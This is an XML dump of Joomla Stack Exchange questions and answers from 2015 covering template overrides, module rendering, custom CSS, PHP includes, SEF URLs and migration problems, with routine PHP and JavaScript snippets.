  <row Id="13522" PostTypeId="2" ParentId="13512" CreationDate="2015-09-08T23:41:25.917" Score="1" Body="&lt;p&gt;You can load any PHP class in the libraries directory using the &lt;em&gt;jimport&lt;/em&gt; method.  Below are examples using the funds referenced in question.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; jimport('joomla.oauth2.client');&#xA; jimport('joomla.google.auth.oauth2');&#xA; jimport('joomla.facebook.oauth');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Joomla's code base is well documented so once you have a class instantiated any decent IDE will provide access to inline documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize you asked for an example, but in my experience the SO community isn't in the &quot;habit&quot; of writing code upon request.  You'll get more traction with questions when posting some code.&lt;/p&gt;&#xA;" OwnerUserId="1906" LastActivityDate="2015-09-08T23:41:25.917" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13524" PostTypeId="1" CreationDate="2015-09-09T02:59:09.690" Score="2" ViewCount="145" Body="&lt;p&gt;I'm trying to enable user to choose article alternative layout in the article frontpage editing form. &#xA;I add this code below to &lt;em&gt;[root]/templates/protostar/html/com_content/form/edit.php&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('article_layout','attribs'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it shows nothing in the frontend editing form. Any idea how to make it works?&lt;/p&gt;&#xA;" OwnerUserId="2295" LastEditorUserId="2295" LastEditDate="2015-09-09T05:17:53.290" LastActivityDate="2016-03-30T09:52:05.890" Title="How to enable Alternative Layout in the frontend editing" Tags="|front-end|editor|editing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13525" PostTypeId="1" AcceptedAnswerId="13526" CreationDate="2015-09-09T04:41:41.317" Score="0" ViewCount="152" Body="&lt;p&gt;I'm trying to override Module Front End Editing Page. I tried to copy this folder [root]/layouts/joomla/edit to [root]/templates/template_name/html/layouts/joomla/edit but it doesn't work. Any idea how to make this work?&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2015-09-09T04:49:00.113" Title="How to override Module Frontend Editing Page" Tags="|module|front-end|module-params|editing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13526" PostTypeId="2" ParentId="13525" CreationDate="2015-09-09T04:49:00.113" Score="0" Body="&lt;p&gt;I copied the wrong folder, this is the correct one : /root/components/com_config/view/modules&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2015-09-09T04:49:00.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13528" PostTypeId="2" ParentId="371" CreationDate="2015-09-09T10:01:32.927" Score="2" Body="&lt;p&gt;$document-&gt;addScript() always adds scripts in header section before the  tag. So, if you want to load a script file at the bottom of the page then you would need to include the js in that file by simply using &lt;code&gt;&amp;lt;script src=&quot;{pathtojacvascriptfile}&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this might help&lt;/p&gt;&#xA;" OwnerDisplayName="user5491" LastEditorDisplayName="user5491" LastEditDate="2015-09-09T10:12:11.550" LastActivityDate="2015-09-09T10:12:11.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13529" PostTypeId="1" AcceptedAnswerId="13596" CreationDate="2015-09-09T10:44:30.327" Score="3" ViewCount="1311" Body="&lt;p&gt;Joomla 3.4.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having a strange issue when trying to save an article &lt;strong&gt;with&lt;/strong&gt; tags. I receive the following error (which doesn't give me much info!);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/r3nLw.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/r3nLw.jpg&quot; alt=&quot;article error&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever I remove the tags the article saves just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am creating the tags &lt;strong&gt;before&lt;/strong&gt; I create the article. Using the tag manager. I have also tried to create the tag within the article which also doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anybody encountered this issue in the past, is there a fix, or am I overlooking something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Things I've tried so far;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;delete / re-create all tags&lt;/li&gt;&#xA;&lt;li&gt;purge cache / history&lt;/li&gt;&#xA;&lt;li&gt;different browsers&lt;/li&gt;&#xA;&lt;li&gt;error reporting (nothing obvious reported)&lt;/li&gt;&#xA;&lt;li&gt;Extensions &gt;&gt; Manage &gt;&gt; Database (no issues)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Stuck with this one so any help appreciated :/&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="1538" LastEditDate="2015-09-14T08:07:33.253" LastActivityDate="2015-09-14T16:07:44.710" Title="Article not saving with tags" Tags="|joomla-3.x|articles|tags|article-manager|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="13531" PostTypeId="1" CreationDate="2015-09-09T14:38:54.047" Score="2" ViewCount="1499" Body="&lt;p&gt;I was wondering how can we load a module inside a module, in Joomla 3 programatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&lt;/p&gt;&#xA;" OwnerUserId="3690" LastActivityDate="2015-09-09T14:38:54.047" Title="Load module inside module programatically Joomla 3" Tags="|joomla-3.x|module|jfactory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13532" PostTypeId="2" ParentId="13531" CreationDate="2015-09-09T14:38:54.047" Score="3" Body="&lt;p&gt;After some digging I found this code. Most pages I visited are using outdated code, here is the one that worked for me.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc      = JFactory::getDocument();&#xA;$renderer = $doc-&amp;gt;loadRenderer('modules');&#xA;$position = 'moduleposition';&#xA;$options  = array('style' =&amp;gt; 'raw');&#xA;echo $renderer-&amp;gt;render($position, $options, null);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3690" LastActivityDate="2015-09-09T14:38:54.047" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13537" PostTypeId="1" CreationDate="2015-09-09T22:54:19.787" Score="1" ViewCount="348" Body="&lt;p&gt;Chronoforms V.5&#xA;Joomla 3.4.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the Chronoforms &lt;a href=&quot;https://www.chronoengine.com/faqs/70-cfv5/5245-how-can-i-use-the-multiplier-in-cfv5.html&quot; rel=&quot;nofollow&quot;&gt;Multiplier feature&lt;/a&gt; to create the example posted on that page. Everything works with the exception of the data from Multiplier not posting to the email. The arrays exists, but the data is not posting in the email template. No error messages are displaying. I was trying to use a PHP loop, but that didn't seem to be working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP LOOP:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if(!empty($form-&amp;gt;data[&quot;counter&quot;])){&#xA;for($i = 0; $i = $form-&amp;gt;data[&quot;counter&quot;]; $i++){&#xA;echo &quot;{shirts_&quot;.$i.&quot;}&quot;;&#xA;}&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ARRAY:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array&#xA;(&#xA;    [option] =&amp;gt; com_chronoforms5&#xA;    [chronoform] =&amp;gt; shirts&#xA;    [event] =&amp;gt; submit&#xA;    [Itemid] =&amp;gt; &#xA;    [shirts] =&amp;gt; Array&#xA;        (&#xA;            [1] =&amp;gt; Array&#xA;                (&#xA;                    [style] =&amp;gt; Standard&#xA;                    [size] =&amp;gt; L&#xA;                    [color] =&amp;gt; Red&#xA;                )&#xA;&#xA;            [2] =&amp;gt; Array&#xA;                (&#xA;                    [style] =&amp;gt; Standard&#xA;                    [size] =&amp;gt; L&#xA;                    [color] =&amp;gt; Red&#xA;                )&#xA;&#xA;            [3] =&amp;gt; Array&#xA;                (&#xA;                    [style] =&amp;gt; Standard&#xA;                    [size] =&amp;gt; L&#xA;                    [color] =&amp;gt; Red&#xA;                )&#xA;&#xA;        )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EMAIL TEMPLATE:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;table&amp;gt;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Style&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Size&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Color&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone familiar with how this can be fixed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="5819" LastActivityDate="2015-09-09T22:54:19.787" Title="Chronoforms Multiplier Data Not Posting to Email" Tags="|chronoforms|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13539" PostTypeId="2" ParentId="9195" CreationDate="2015-09-10T11:47:10.790" Score="1" Body="&lt;p&gt;To prevent the redirect overwrite the submitbutton function in JavaScript, because usually each button calls the submitbutton function, which will submit the form. You can overwrite the function in your template file, for example.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getDocument()-&amp;gt;addScriptDeclaration('&#xA;    Joomla.submitbutton = function(task)&#xA;    {&#xA;        if (task == &quot;mymail.send&quot;)&#xA;        {&#xA;          // Do something in the background with AJAX&#xA;          // See Rene Korss comment under your question for more information&#xA;        }&#xA;    }&#xA;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is done in the core components too. Examples:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Article: &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/administrator/components/com_content/views/article/tmpl/edit.php#L63&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/administrator/components/com_content/views/article/tmpl/edit.php#L63&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Banner client: &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/administrator/components/com_banners/views/client/tmpl/edit.php#L16&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/administrator/components/com_banners/views/client/tmpl/edit.php#L16&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2015-09-10T11:47:10.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13541" PostTypeId="1" CreationDate="2015-09-10T16:14:44.017" Score="0" ViewCount="1073" Body="&lt;p&gt;I would like to call a PHP helper file (&lt;code&gt;helper_ppal.php&lt;/code&gt;) included in a custom module (&lt;code&gt;mod_ms_lib&lt;/code&gt;). Accessing the helper file would simplify processing PayPal IPN (Instant Paypal Notifications) requests. (For info, PayPal posts data to a custom url after a transaction has occurred. I would like to process these data.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, with the DirectPHP plugin, I am able to access the helper file by redirecting the request to the url of the ipn article that contains include and processing statements. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question: Is it possible to directly access helper file methods from the outside w/o transitioning through a menu/article? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a working PHP demo, which senses IPN requests and redirects them to the ppal handler. I understand that for security reasons, access rights to Joomla files are restricted. How can I address this situation? &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Thanks for your answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question: Does this mean for example that I could add some php code in &lt;em&gt;'index.php'&lt;/em&gt; to instruct Joomla to check url's? If a specific url is detected, say &lt;em&gt;'&lt;a href=&quot;http://...//ppal.php&amp;amp;action=ipn&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://...//ppal.php&amp;amp;action=ipn&lt;/a&gt;'&lt;/em&gt;, the app would then take action?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TIA.&lt;/p&gt;&#xA;" OwnerUserId="3656" LastEditorUserId="126" LastEditDate="2018-08-13T18:12:46.437" LastActivityDate="2018-08-13T18:13:51.010" Title="How can I access module files externally?" Tags="|joomla-3.x|php|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="13543" PostTypeId="2" ParentId="13541" CreationDate="2015-09-10T19:25:20.590" Score="1" Body="&lt;p&gt;You can include PHP scripts in other PHP scripts easily with the help of PHP's functions &lt;code&gt;require&lt;/code&gt; or &lt;code&gt;include&lt;/code&gt; (resp. &lt;code&gt;require_once&lt;/code&gt;/&lt;code&gt;include_once&lt;/code&gt; to make sure you only include the file once). The difference between require and include is that when the file can not be included with require it will throw an fatal error and abort your script and with include it will just throw a warning.&lt;/p&gt;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;require_once &amp;quot;/path/to/joomla/modules/mod_ms_lib/helper_ppal.php&amp;quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;After that you can use functions defined in that helper_ppal.php or you can use the class methods if this file defines a class. Be aware that if it's not a static class you have to make a new object of it first.&lt;/p&gt;&#xA;&lt;p&gt;If you include files in other Joomla files (e.g. another module) you can use &lt;a href=&quot;https://docs.joomla.org/Constants&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla's file path constants&lt;/a&gt;, for example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;require_once JPATH_ROOT . &amp;quot;/modules/mod_example/helper.php&amp;quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&lt;p&gt;Yes you can add PHP code to index.php and detect GET parameters and execute specific functions then. But if you call the URL in your example, index.php will not be called but ppal.php so this wouldn't work. And it wouldn't be the nice way. In Joomla we build/install extensions like components, modules or plugins for such purposes.&lt;/p&gt;&#xA;" OwnerUserId="154" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2018-08-13T18:13:51.010" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="13545" PostTypeId="1" AcceptedAnswerId="13546" CreationDate="2015-09-10T22:42:22.993" Score="3" ViewCount="416" Body="&lt;p&gt;I am setting up a Joomla 3 site and want to use custom global CSS which is template independent. The reason why I need this is that the admin of the site will need to change the template in use. I am setting up a few CSS styles which will need to be retained irrespective of the template in use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can some one tell me how to do this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I am relatively new to Joomla, so, please keep it in mind.&lt;/p&gt;&#xA;" OwnerUserId="6896" LastEditorUserId="6896" LastEditDate="2015-09-10T23:00:30.467" LastActivityDate="2015-09-11T01:11:31.080" Title="How to add template-independent global css" Tags="|css|global-configuration|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13546" PostTypeId="2" ParentId="13545" CreationDate="2015-09-10T23:47:55.573" Score="2" Body="&lt;p&gt;For this, you can import a CSS file using a plugin which will inject the file into the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; when it's being rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I developed a &lt;a href=&quot;http://joomjunk.co.uk/products/custom-assets.html&quot; rel=&quot;nofollow&quot;&gt;small plugin&lt;/a&gt; some time ago which allows you to import as many custom CSS or JS files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also find others on the Joomla Extensions Directory under the &lt;a href=&quot;http://extensions.joomla.org/category/core-enhancements/coding-a-scripts-integration&quot; rel=&quot;nofollow&quot;&gt;Coding &amp;amp; Scripts Integration&lt;/a&gt; category&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-09-10T23:47:55.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13547" PostTypeId="2" ParentId="13545" CreationDate="2015-09-10T23:51:44.057" Score="-1" Body="&lt;p&gt;In protostar template:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create file in &lt;code&gt;/template/protostar/css/custom.css&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add in file &lt;code&gt;/template/protostar/index.php&lt;/code&gt; after line ~44.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc-&amp;gt;addStyleSheet($this-&amp;gt;baseurl . '/templates/' . $this-&amp;gt;template . '/css/custom.css');&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5617" LastEditorUserId="1629" LastEditDate="2015-09-11T01:11:31.080" LastActivityDate="2015-09-11T01:11:31.080" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13548" PostTypeId="1" CreationDate="2015-09-11T00:21:24.103" Score="0" ViewCount="515" Body="&lt;p&gt;When trying to edit or add menu item in Menu Manager, I have lost the GUI interface and all of the functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just updated to Joomla! 3.4.4 Stable [ Ember ] 8-September-2015 21:30 GMT &#xA;and noticed the problem after the upgrade. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts? I'm running RocketTheme Gantry framework on the site and have no trouble before the upgrade. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cgaQk.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cgaQk.jpg&quot; alt=&quot;Screenshot illustrating problem&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6897" LastEditorUserId="126" LastEditDate="2015-09-11T08:13:54.030" LastActivityDate="2017-01-11T08:29:46.023" Title="Backend menu administrator GUI broke" Tags="|administrator|menu|fatal-error|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13549" PostTypeId="1" CreationDate="2015-09-11T06:23:11.157" Score="1" ViewCount="96" Body="&lt;p&gt;Our website generates a URL with com_wrapper - here is an example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.ifootpath.com/index.php?option=com_wrapper&amp;amp;view=wrapper&amp;amp;Itemid=39&amp;amp;walkID=4799&quot; rel=&quot;nofollow&quot;&gt;http://www.ifootpath.com/index.php?option=com_wrapper&amp;amp;view=wrapper&amp;amp;Itemid=39&amp;amp;walkID=4799&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have 652 of these and in the future it could be 1,000. I would like to generate a SEF Url Using the title of the page.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I have sh404SEF installed)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had already implemented the suggestions made Max on the website when it was first published - e.g. \ Enabled Search Engine; Enabled Use URL rewriting; Renamed /htaccess.txt to /.htaccess - I have sef URLs for all other parts of my website but not those with com_wrapper URLs as mentioned in the original question.... &lt;/p&gt;&#xA;" OwnerUserId="1646" LastEditorUserId="1646" LastEditDate="2015-09-12T13:42:24.693" LastActivityDate="2015-09-12T13:42:24.693" Title="Changing URLs generated asa wrapper into set URLs" Tags="|sef|wrapper|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13550" PostTypeId="2" ParentId="13548" CreationDate="2015-09-11T08:12:12.233" Score="2" Body="&lt;p&gt;The screenshot you posted make me think that there must be a &lt;strong&gt;Fatal Error&lt;/strong&gt; somewhere. Enable &lt;code&gt;error_reporting&lt;/code&gt; to see if any exists and where it comes from. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most likely it will be an outdated extension, and by updating or uninstalling/removing it, it will resolve your issue.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-10-31T19:08:08.413" LastActivityDate="2015-10-31T19:08:08.413" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13551" PostTypeId="1" AcceptedAnswerId="15134" CreationDate="2015-09-11T09:02:48.723" Score="0" ViewCount="33" Body="&lt;p&gt;Our clients are fast food takeaways and we use Joomla 2.5 and VM3 for the websites. We print out the admin order confirmation e-mail for them on Star TSP printers (not very wide paper).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some have requested that we implement a machine similar to Just Eat. This is a machine that prints out the order, and has a few buttons to allow the user to accept or decline the order. Does something like this exist? If so would it be compatible with J2.5 and VM3? Thanks for your time.&lt;/p&gt;&#xA;" OwnerUserId="3544" LastActivityDate="2016-01-31T11:40:31.903" Title="Is it possible to have Virtuemart work with a machine like Just Eat?" Tags="|joomla-2.5|virtuemart|emails|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13552" PostTypeId="1" AcceptedAnswerId="13554" CreationDate="2015-09-11T09:09:50.447" Score="4" ViewCount="181" Body="&lt;p&gt;Joomla 3.4.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a single category called 'Departments'. This contains hundreds of articles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way I can set the same '&lt;strong&gt;Full Article Image&lt;/strong&gt;' for each of these articles? See image;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vcOPP.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vcOPP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand I can set an image for the 'Departments' category, and display this within the article but that's not what I require. I need all the articles to display the same Full Article Image. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I could set the Full Article Image to be the &lt;strong&gt;same&lt;/strong&gt; as the category image that would work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps I am overlooking something obvious?&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="1538" LastEditDate="2015-09-11T09:37:27.007" LastActivityDate="2015-09-12T21:34:08.613" Title="Set Category and Full Article Image" Tags="|joomla-3.x|articles|overrides|images|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13554" PostTypeId="2" ParentId="13552" CreationDate="2015-09-11T09:58:39.990" Score="3" Body="&lt;p&gt;Thought I'd give my 2 cents on this. I'm sure there are other ways, but this is the one I came up with and tested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, using a system plugin and JS, you can set a value for the full article image input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code I've written:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class plgSystemMyPlugin extends JPlugin&#xA;{    &#xA;    public function onBeforeCompileHead()&#xA;    {&#xA;        $app    = JFactory::getApplication();&#xA;        $option = $app-&amp;gt;input-&amp;gt;get('option');&#xA;        $view   = $app-&amp;gt;input-&amp;gt;get('view');&#xA;        $layout = $app-&amp;gt;input-&amp;gt;get('layout');&#xA;&#xA;        // Only execute via the backend&#xA;        if (!$app-&amp;gt;isSite() &amp;amp;&amp;amp; $option == 'com_content' &amp;amp;&amp;amp; $view == 'article' &amp;amp;&amp;amp; $layout == 'edit') &#xA;        {&#xA;            $doc = JFactory::getDocument();&#xA;&#xA;            $doc-&amp;gt;addScriptDeclaration(&#xA;                &quot;jQuery(document).ready(function($){&#xA;                     $('#jform_images_image_fulltext').val('images/powered_by.png');&#xA;                });&quot;&#xA;            );&#xA;        }   &#xA;    }   &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It firstly checks to see if you're in the backend.&lt;/li&gt;&#xA;&lt;li&gt;Then it checks to see if your in the correct component, view and layout.&lt;/li&gt;&#xA;&lt;li&gt;Then injects jQuery into the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; which changes the value of the input field.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-09-11T09:58:39.990" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13555" PostTypeId="2" ParentId="13549" CreationDate="2015-09-11T12:15:03.513" Score="1" Body="&lt;p&gt;You can try use SEF in Joomla:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;System &gt;&gt; Global Configuration;&lt;/li&gt;&#xA;&lt;li&gt;Enable Search Engine; &lt;/li&gt;&#xA;&lt;li&gt;Enable Use URL rewriting;&lt;/li&gt;&#xA;&lt;li&gt;Rename yor /htaccess.txt to /.htaccess&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/t9Yy8.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/t9Yy8.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2015-09-11T12:15:03.513" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13556" PostTypeId="1" AcceptedAnswerId="13560" CreationDate="2015-09-11T12:27:39.920" Score="0" ViewCount="694" Body="&lt;p&gt;I try to migrate an old 1.5.9 site to 3.4.4 through &lt;a href=&quot;https://redcomponent.com/redcomponent/redmigrator&quot; rel=&quot;nofollow&quot;&gt;redMigrator&lt;/a&gt;. However, after about 1/3 of the migration it gets stuck - the migration just pretend to continue, but nothing changes for hours (I check the new site's database about hourly and each time there are only 96 or 97 rows out of 243 in my &lt;code&gt;content&lt;/code&gt; table). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried it several times with slightly different settings, but every time with the database method. No errors are thrown, and I have no idea what's wrong. I found &lt;a href=&quot;http://magazine.joomla.org/issues/issue-mar-2015/item/2553-migrate-big-portal-from-joomla1-to-joomla3&quot; rel=&quot;nofollow&quot;&gt;I'm not the only one who faced this problem&lt;/a&gt;, but the other guy had no solution but to pick another migrator. Before trying other options, I would like to find out why there's this strange bug, while others reported to upgrade their sites through redMigrator cleanly. And especially: can I solve it without moving to another software?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I've upgraded to 1.5.26 prior to migration to Joomla 3.4. It doesn't seem to make a difference.&lt;/p&gt;&#xA;" OwnerUserId="3745" LastEditorUserId="1629" LastEditDate="2015-09-11T17:28:46.077" LastActivityDate="2015-09-16T09:40:53.723" Title="RedMigrators gets stuck in about 1/3 of migration" Tags="|joomla-3.x|migration|joomla-1.5|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13557" PostTypeId="1" AcceptedAnswerId="14078" CreationDate="2015-09-11T12:44:32.977" Score="3" ViewCount="620" Body="&lt;p&gt;I am trying to save some additional fields into the Article Content and there has been a few questions like &lt;a href=&quot;https://joomla.stackexchange.com/q/2395/112&quot;&gt;this&lt;/a&gt; relating to this issue but all of the solutions seem to point to saving the extra field into the 'attribs' column but since this VARCHAR column has a Length of '5120' characters; it won't be enough for what I need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I was trying to save into a separate table following &lt;a href=&quot;https://docs.joomla.org/Adding_custom_fields_to_the_article_component&quot; rel=&quot;nofollow noreferrer&quot;&gt;this article&lt;/a&gt; but it won't work since it is also saving into the attribs column and not in the table it mentions in Joomla 3.x.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone asked &lt;a href=&quot;https://joomla.stackexchange.com/questions/3709/how-can-i-add-custom-fields-to-the-article-component&quot;&gt;similar question&lt;/a&gt; which doesn't have any answer except save it in the 'attribs' column (even with the plugin). So is there no way to save custom fields into a separate table without using a full on CCKs? &lt;/p&gt;&#xA;" OwnerUserId="112" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-02-25T00:51:24.603" Title="Adding Custom Fields to Article Component [Not in attribs field]" Tags="|joomla-3.x|plugin|jform|com-content|custom-action|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
